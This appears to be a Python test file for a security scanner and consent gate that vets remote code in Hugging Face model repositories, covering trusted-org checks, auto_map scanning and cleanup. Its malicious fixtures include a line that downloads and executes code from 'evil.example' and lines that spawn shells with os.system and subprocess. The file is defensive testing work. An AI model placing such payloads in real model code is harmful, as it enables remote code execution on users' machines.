"get_base_model_from_lora_identifier",
lambda *_args, **_kwargs: None,
)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_args: True)
monkeypatch.setattr(
remote_code_scan, "external_auto_map_repos", lambda *_args, **_kwargs: set()
)
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
lambda targets, **_kwargs: preflight_targets.extend(targets)
or SimpleNamespace(
has_remote_code = False,
blocked = False,
reason = "allowed",
response_payload = lambda: {
"has_remote_code": False,
"approvable": True,
},
),
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_args: ())
monkeypatch.setattr(
security,
"evaluate_file_security",
lambda *_args, **_kwargs: SimpleNamespace(
blocked = False,
unsafe_files = [],
),
)
payload = asyncio.run(
models_route.scan_model_remote_code(
model_name = model_name,
hf_token = None,
prefer_local_cache = True,
model_local_path = "/cache/models--someone--cached-model",
model_snapshot_path = snapshot,
model_snapshot_repo_id = actual_model_repo_id,
current_subject = "tester",
)
)
assert inspection_calls == [(actual_model_repo_id, True, snapshot)]
assert preflight_targets == [snapshot]
assert payload["model_name"] == actual_model_repo_id
assert payload["provider"] == "publisher"
def test_scan_route_canonicalizes_local_adapter_target(self, monkeypatch, tmp_path):
import asyncio
models_route = _load_models_route(monkeypatch)
import utils.models.model_config as model_config
import utils.security as security
import utils.security.remote_code_scan as remote_code_scan
model_name = r"C:\models\adapter"
normalized_path = tmp_path / "models" / "adapter"
normalized_path.mkdir(parents = True)
scan_target = str(normalized_path.resolve())
base_targets = []
preflight_targets = []
file_targets = []
monkeypatch.setattr(
models_route,
"is_local_path",
lambda value: value in {model_name, scan_target},
)
monkeypatch.setattr(
models_route,
"normalize_path",
lambda value: str(normalized_path) if value == model_name else value,
)
monkeypatch.setattr(
model_config,
"get_base_model_from_lora_identifier",
lambda target, *_args, **_kwargs: base_targets.append(target) or "someone/base",
)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_args: True)
monkeypatch.setattr(
remote_code_scan, "external_auto_map_repos", lambda *_args, **_kwargs: set()
)
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
lambda targets, **_kwargs: preflight_targets.extend(targets)
or SimpleNamespace(
has_remote_code = True,
blocked = True,
reason = "approval required",
response_payload = lambda: {
"model_name": scan_target,
"has_remote_code": True,
"approvable": True,
},
),
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_args: ())
monkeypatch.setattr(
security,
"evaluate_file_security",
lambda target, **_kwargs: file_targets.append(target)
or SimpleNamespace(blocked = False, unsafe_files = []),
)
payload = asyncio.run(
models_route.scan_model_remote_code(
model_name = model_name,
hf_token = None,
current_subject = "tester",
)
)
assert base_targets == [scan_target]
assert preflight_targets == [scan_target, "someone/base"]
assert file_targets == [scan_target, "someone/base"]
assert payload["model_name"] == model_name
assert payload["scan_created_repos"] == []
def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch):
"""A remote adapter is scan-created when base resolution caches it, so decline purges it."""
import asyncio
import routes.models as models_route
import utils.models.model_config as model_config
import utils.security as security
import utils.security.remote_code_scan as rcs
adapter, base = "someone/lora-adapter", "someone/base-model"
cached: set = set()
def _get_base(name, token = None):
cached.add(adapter)
return base
monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached)
monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set())
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
lambda *_a, **_k: SimpleNamespace(
has_remote_code = True,
blocked = False,
reason = "allowed: no high-risk patterns",
response_payload = lambda: {"has_remote_code": True, "approvable": True},
),
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
monkeypatch.setattr(
security,
"evaluate_file_security",
lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
)
payload = asyncio.run(
models_route.scan_model_remote_code(
model_name = adapter, hf_token = None, current_subject = "tester"
)
)
assert adapter in payload["scan_created_repos"]
assert base in payload["scan_created_repos"]
assert payload["created_by_scan"] is True
@pytest.mark.parametrize(
"rel",
[
"core/training/training.py",
"core/inference/orchestrator.py",
"core/export/orchestrator.py",
"routes/training.py",
"routes/inference.py",
"routes/export.py",
],
)
def test_fingerprint_threaded_to_worker(self, rel):
src = (Path(__file__).resolve().parent.parent / rel).read_text(encoding = "utf-8")
assert "approved_remote_code_fingerprint" in src
assert "subject" in src
def _fake_hfapi(resolved_id, author = "unsloth"):
api = MagicMock()
api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author)
return api
class TestIsTrustedOrgRepo:
"""Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed."""
def test_accepts_genuine_unsloth_repo(self):
with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")):
assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True
def test_accepts_genuine_nvidia_repo(self):
with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")):
assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True
def test_local_path_spoofs_rejected(self):
for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]:
assert is_trusted_org_repo(n, verify_remote = False) is False, n
def test_rejects_local_path_even_if_is_local_path_says_so(self):
with patch("utils.security.trusted_org.is_local_path", return_value = True):
assert is_trusted_org_repo("unsloth/x") is False
def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch):
monkeypatch.chdir(tmp_path)
(tmp_path / "unsloth" / "evil").mkdir(parents = True)
clear_cache()
with patch("huggingface_hub.HfApi") as Api:
assert is_trusted_org_repo("unsloth/evil") is False
Api.assert_not_called()
def test_untrusted_namespaces_rejected(self):
for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]:
assert is_trusted_org_repo(n, verify_remote = False) is False, n
def test_malformed_names_rejected(self):
for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]:
assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n)
def test_rejects_when_resolved_owner_is_not_trusted(self):
with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")):
assert is_trusted_org_repo("unsloth/x") is False
def test_fails_closed_when_hub_raises(self):
for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")):
clear_cache()
api = MagicMock()
api.return_value.model_info.side_effect = exc
with patch("huggingface_hub.HfApi", api):
assert is_trusted_org_repo("unsloth/maybe-real") is False
def test_offline_trusts_shape_without_hub(self, monkeypatch):
monkeypatch.setenv("HF_HUB_OFFLINE", "1")
clear_cache()
with patch("huggingface_hub.HfApi") as Api:
assert is_trusted_org_repo("unsloth/Local-Cached") is True
assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True
assert is_trusted_org_repo("evil/x") is False
Api.assert_not_called()
def test_token_failure_does_not_poison_authed_lookup(self):
clear_cache()
api = MagicMock()
api.return_value.model_info.side_effect = [
Exception("401 gated"),
SimpleNamespace(id = "unsloth/Private", author = "unsloth"),
]
with patch("huggingface_hub.HfApi", api):
assert is_trusted_org_repo("unsloth/Private") is False
assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True
class TestNemotronGateUsesTrustCheck:
"""The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables."""
@pytest.mark.parametrize(
"rel",
[
"core/training/worker.py",
"core/inference/worker.py",
"core/export/worker.py",
],
)
def test_worker_nemotron_block_calls_trust_check(self, rel):
src = (_BACKEND / rel).read_text(encoding = "utf-8")
assert "_NEMOTRON_TRUST_SUBSTRINGS" in src
assert "is_trusted_org_repo(" in src
def test_gate_predicate_blocks_spoof_allows_trusted(self):
subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
def gate(name):
low = name.lower()
return (
any(s in low for s in subs)
and (low.startswith("unsloth/") or low.startswith("nvidia/"))
and is_trusted_org_repo(name, verify_remote = False)
)
with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}):
clear_cache()
assert gate("unsloth/Nemotron-H-8B") is True
clear_cache()
assert gate("evil/nemotron_h-backdoor") is False
assert gate("unsloth/llama-3-8b") is False
_SCAN_MALICIOUS = (
"import os, subprocess, urllib.request, base64\n"
"subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
"exec(urllib.request.urlopen('http://evil.example/x').read())\n"
"__import__('o' + 's').system('whoami')\n"
"BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n"
)
_SCAN_BENIGN = (
"import torch\nfrom torch import nn\n"
"from transformers import PreTrainedModel\n"
"class DeepseekOCRForCausalLM(PreTrainedModel):\n"
" def forward(self, x):\n return self.proj(x)\n"
)
class TestRemoteCodeScan:
def test_flags_malicious(self):
res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS})
assert not res.clean
assert res.max_severity in (CRITICAL, HIGH)
assert res.findings
assert should_block_remote_code(res) is True
def test_benign_is_clean(self):
res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN})
assert res.clean, res.summary()
assert should_block_remote_code(res) is False
def test_only_python_is_scanned(self):
res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS})
assert res.clean
def test_fingerprint_stable_and_sensitive(self):
a = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
b = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"})
assert a == b
assert a != c
def test_scanner_faithful_to_scan_packages(self):
sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py"
if not sp.is_file():
pytest.skip("scan_packages.py not present")
import importlib.util
spec = importlib.util.spec_from_file_location("scan_packages_probe", sp)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0
assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean
class TestConsentProvider:
"""_consent_provider attributes the dialog's `from "<provider>"` tag only when safe."""
@staticmethod
def _fn():
from routes.models import _consent_provider
return _consent_provider
def test_single_hub_id_returns_owner(self):
assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"]) == "NVIDIA"
assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"], []) == "NVIDIA"
def test_multi_target_lora_returns_none(self):
assert self._fn()("user/adapter", ["user/adapter", "NVIDIA/base"]) is None
def test_external_auto_map_ref_returns_none(self):
assert self._fn()("owner/repo", ["owner/repo"], ["evilorg/evilrepo"]) is None
def test_local_path_returns_none(self, tmp_path):
d = tmp_path / "org" / "model"
d.mkdir(parents = True)
assert self._fn()(str(d), [str(d)]) is None
assert self._fn()("/home/me/model", ["/home/me/model"]) is None
def test_non_canonical_id_returns_none(self):
fn = self._fn()
assert fn("a/b/c", ["a/b/c"]) is None
assert fn("/repo", ["/repo"]) is None
assert fn("plainname", ["plainname"]) is None
class TestScannerCoversAllExecutableCode:
"""repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""
def test_local_scan_is_recursive(self, tmp_path):
(tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}')
(tmp_path / "modeling_x.py").write_text("from .helpers import sub\n")
nested = tmp_path / "helpers"
nested.mkdir()
(nested / "sub.py").write_text("import os\nos.system('id')\n")
files = repo_remote_code_files(str(tmp_path))
assert "modeling_x.py" in files
assert str(Path("helpers") / "sub.py") in files
def test_remote_partial_download_is_unscannable(self):
# A partial file set would fingerprint 'clean'.
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
if fn == "config.json":
import json
import tempfile
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
raise RuntimeError("download failed")
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]),
):
with pytest.raises(RemoteCodeUnscannable):
repo_remote_code_files("third/party")
def test_external_auto_map_repo_is_scanned(self):
# auto_map can point at code in another repo, which transformers fetches and runs.
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
)
elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
p.write_text("import os\nos.system('id')\n")
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
else:
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
return str(p)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = []),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--modeling_evil.py" in files
assert not scan_remote_code_files(files).clean
def test_external_auto_map_helper_imports_are_scanned(self):
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
)
elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
p.write_text("from .helper import run\n")
elif repo == "evilorg/evilrepo" and fn == "helper.py":
p.write_text("import os\nos.system('id')\n")
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
else:
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
return str(p)
def _list(repo, token = None):
if repo == "evilorg/evilrepo":
return ["modeling_evil.py", "helper.py"]
return []
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", side_effect = _list),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--helper.py" in files
assert not scan_remote_code_files(files).clean
def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self):
# Stale own-repo refs (e.g. PaddleOCR-VL) cannot run, so skip them rather than fail closed.
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(json.dumps({"model_type": "x"}))
elif fn == "tokenizer_config.json":
p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}}))
elif fn == "processing_paddleocr_vl.py":
p.write_text("import torch\n")
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
else:
raise RuntimeError(f"stale/absent file must not be fetched: {fn}")
return str(p)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"],
),
):
files = repo_remote_code_files("unsloth/PaddleOCR-VL")
assert files != {}, "must not fail closed: present .py are scannable"
assert "processing_paddleocr_vl.py" in files
assert "processing_ppocrvl.py" not in files
def test_present_referenced_py_fetch_failure_still_fails_closed(self):
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
if fn == "config.json":
p = Path(tempfile.mkdtemp()) / fn
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
raise RuntimeError("transient fetch failure")
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]),
):
with pytest.raises(RemoteCodeUnscannable):
repo_remote_code_files("third/party")
def test_external_tokenizer_auto_map_list_is_scanned(self):
# A tokenizer auto_map [slow, fast] list: the external code in the list must still be scanned
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(json.dumps({"model_type": "llama"}))
elif fn == "tokenizer_config.json":
p.write_text(
json.dumps(
{
"auto_map": {
"AutoTokenizer": [
"evilorg/evilrepo--tokenization_evil.EvilTokenizer",
None,
]
}
}
)
)
elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py":
p.write_text("import os\nos.system('id')\n")
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
else:
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
return str(p)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = []),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--tokenization_evil.py" in files
assert not scan_remote_code_files(files).clean
def test_unreachable_external_ref_is_unscannable(self):
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
if fn == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
)
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
raise RuntimeError("download failed")
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = []),
):
with pytest.raises(RemoteCodeUnscannable):
repo_remote_code_files("victim/model")
def test_unrelated_local_py_is_still_scanned(self, tmp_path):
# Deliberately broad: importlib / exec can reach any .py, so closure-only scanning is a bypass.
(tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}')
(tmp_path / "modeling_ok.py").write_text("import torch\n")
(tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n")
files = repo_remote_code_files(str(tmp_path))
assert "unrelated.py" in files
assert not scan_remote_code_files(files).clean
def test_external_mis_derived_dotted_ref_dropped_when_real_present(self):
# Subpackage refs derive a dotted name; drop it and scan the real pkg/ path instead.
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
if fn == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}})
)
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py":
p = Path(tempfile.mkdtemp()) / "modeling_evil.py"
p.write_text("import os\nos.system('id')\n")
return str(p)
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
def _list(repo, token = None):
if repo == "evilorg/evilrepo":
return ["pkg/modeling_evil.py"]
return []
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", side_effect = _list),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--pkg/modeling_evil.py" in files
assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files
assert not scan_remote_code_files(files).clean
def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path):
from utils.security.remote_code_scan import external_auto_map_repos
(tmp_path / "config.json").write_text(
'{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}'
)
(tmp_path / "tokenizer_config.json").write_text(
'{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}'
)
repos = external_auto_map_repos(str(tmp_path))
assert repos == {"evilorg/evilrepo", "other/repo"}
(tmp_path / "plain").mkdir()
(tmp_path / "plain" / "config.json").write_text(
'{"auto_map": {"AutoModel": "modeling_local.M"}}'
)
assert external_auto_map_repos(str(tmp_path / "plain")) == set()
def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self):
def _dl(
repo,
fn,
token = None,
cache_dir = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(
json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}})
)
return str(p)
raise EntryNotFoundError(fn)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model-00001-of-00097.gguf"],
),
):
files = repo_remote_code_files("unsloth/Some-Model-GGUF")
assert files == {}
def test_tokenizer_only_auto_map_is_gated(self, tmp_path):
from utils.security import preflight_remote_code_consent
(tmp_path / "config.json").write_text('{"model_type": "llama"}')
(tmp_path / "tokenizer_config.json").write_text(
'{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}'
)
(tmp_path / "tokenization_evil.py").write_text(
"import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n"
)
d = preflight_remote_code_consent(str(tmp_path), trusted_org = False)
assert d.has_remote_code is True
assert d.blocked is True
assert d.fingerprint
def test_config_file_list_covers_transformers_auto_map_sources(self):
# Pinned to installed transformers constants so a renamed auto_map config trips here.
from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE
from transformers.utils import (
CONFIG_NAME,
FEATURE_EXTRACTOR_NAME,
IMAGE_PROCESSOR_NAME,
PROCESSOR_NAME,
VIDEO_PROCESSOR_NAME,
)
expected = {
CONFIG_NAME,
TOKENIZER_CONFIG_FILE,
FEATURE_EXTRACTOR_NAME,
IMAGE_PROCESSOR_NAME,
PROCESSOR_NAME,
VIDEO_PROCESSOR_NAME,
}
missing = expected - set(REMOTE_CODE_CONFIG_FILES)
assert not missing, (
"transformers reads auto_map from config files the consent gate does not "
f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES."
)
def test_load_configs_returns_empty_list_when_all_404(self):
# [] means no config auto_map; None means unknown and would force a false unscannable block.
with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")):
configs = consent._load_remote_code_configs("some/plain-repo")
assert configs == []
with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")):
configs = consent._load_remote_code_configs("some/gated-repo")
assert configs is None
def test_gguf_repo_auto_map_is_scanned_for_non_file_load_paths(self, tmp_path):
# A GGUF-only repo id still hits export paths that run auto_map; only a direct .gguf is inert.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
if filename == "config.json":
p = tmp_path / "config.json"
p.write_text(
json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
)
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model-00001-of-00097.gguf"],
),
):
assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is True
def test_gguf_only_repo_with_python_is_scanned_and_blocked(self, tmp_path):
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
p = tmp_path / filename
if filename == "config.json":
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
return str(p)
if filename == "modeling_evil.py":
p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "modeling_evil.py", "model.Q4_K_M.gguf"],
),
):
d = evaluate_remote_code_consent_for_targets(
["evil/GGUF-Only"],
trust_remote_code = True,
)
assert d.has_remote_code is True
assert d.blocked is True
assert d.max_severity == HIGH
assert d.fingerprint
def test_transformers_style_repo_auto_map_is_scanned_and_blocked(self, tmp_path):
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
p = tmp_path / filename
if filename == "config.json":
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
return str(p)
if filename == "modeling_evil.py":
p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
return str(p)
raise EntryNotFoundError(filename)
for weights in (["model.safetensors"], ["weights.npz"]):
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "modeling_evil.py", *weights],
),
):
d = evaluate_remote_code_consent_for_targets(
["org/Transformers-Style"],
trust_remote_code = True,
)
assert d.has_remote_code is True, weights
assert d.blocked is True, weights
assert d.max_severity == HIGH, weights
assert d.fingerprint, weights
def test_direct_gguf_file_reference_has_no_auto_map(self):
with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
assert consent._config_has_auto_map("org/repo/model.gguf") is False
def test_remote_repo_named_gguf_is_not_suffix_skipped(self):
# A two-segment repo id ending in .gguf can still ship safetensors + auto_map.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
import tempfile
if filename == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"],
),
):
assert consent._config_has_auto_map("evil/model.gguf") is True
def test_mixed_gguf_and_safetensors_repo_is_still_gated(self):
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
import tempfile
if filename == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}))
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model.safetensors", "model.gguf"],
),
):
assert consent._config_has_auto_map("org/Mixed-Repo") is True
def test_mixed_gguf_and_bin_repo_is_still_gated(self):
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
import tempfile
if filename == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
return str(p)
raise EntryNotFoundError(filename)
for weight in (
"pytorch_model.bin",
"model.pt",
"model.pth",
"tf_model.h5",
"flax_model.msgpack",
"model.onnx",
"model.ckpt",
):
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "modeling_x.py", weight, "model.gguf"],
),
):
assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight
class TestDiscardRemoteCodeDownload:
@staticmethod
def _fake_cache(filenames):
files = [
SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}")
for fn in filenames
]
rev = SimpleNamespace(commit_hash = "deadbeef", files = files)
repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev])
return SimpleNamespace(repos = [repo], delete_revisions = MagicMock())
def _run(
self,
model_name,
cache_scans,
active_model_name = None,
):
import asyncio
import routes.models as M
backend = SimpleNamespace(active_model_name = active_model_name)
with (
patch.object(M, "is_local_path", return_value = model_name.startswith("/")),
patch.object(M, "_all_hf_cache_scans", return_value = cache_scans),
patch("core.inference.orchestrator.peek_inference_backend", return_value = backend),
patch(
"routes.inference.get_llama_cpp_backend",
return_value = SimpleNamespace(is_loaded = False, model_identifier = None),
),
):
return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t"))
def test_purges_metadata_only_entry(self):
cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"])
res = self._run("evil/repo", [cache])
assert res["deleted"] is True
cache.delete_revisions.assert_called_once_with("deadbeef")
def test_refuses_loaded_model(self):
cache = self._fake_cache(["config.json", "modeling_evil.py"])
res = self._run("evil/repo", [cache], active_model_name = "evil/repo")
assert res == {"deleted": False, "reason": "loaded"}
cache.delete_revisions.assert_not_called()
def test_refuses_when_weights_present(self):
cache = self._fake_cache(["config.json", "model.safetensors"])
res = self._run("evil/repo", [cache])
assert res == {"deleted": False, "reason": "has_weights"}
cache.delete_revisions.assert_not_called()
def test_refuses_when_gguf_present(self):
cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"])
res = self._run("evil/repo", [cache])
assert res["reason"] == "has_weights"
def test_refuses_local_path(self):
res = self._run("/home/me/model", [])
assert res == {"deleted": False, "reason": "local"}
def test_noop_when_not_cached(self):
res = self._run("evil/repo", [])
assert res == {"deleted": False, "reason": "not_cached"}
def test_route_source_reports_created_by_scan(self):
src = (_BACKEND / "routes/models.py").read_text(encoding = "utf-8")
assert "created_by_scan" in src
assert "discard-remote-code" in src
class TestModelFileCountsAsRemoteCode:
"""mlx-lm / mlx-vlm exec_module a config's ``model_file`` with no trust check, so it is remote
code exactly like ``auto_map`` and must reach the scan and approval dialog."""
def test_local_model_file_is_remote_code(self, tmp_path):
(tmp_path / "config.json").write_text(json.dumps({"model_file": "custom_model.py"}))
(tmp_path / "custom_model.py").write_text("class Model: pass\nclass ModelArgs: pass\n")
assert consent._config_has_auto_map(str(tmp_path)) is True
def test_plain_local_config_is_not_remote_code(self, tmp_path):
(tmp_path / "config.json").write_text(json.dumps({"model_type": "llama"}))
assert consent._config_has_auto_map(str(tmp_path)) is False
def test_empty_model_file_is_not_remote_code(self, tmp_path):
(tmp_path / "config.json").write_text(json.dumps({"model_file": ""}))
assert consent._config_has_auto_map(str(tmp_path)) is False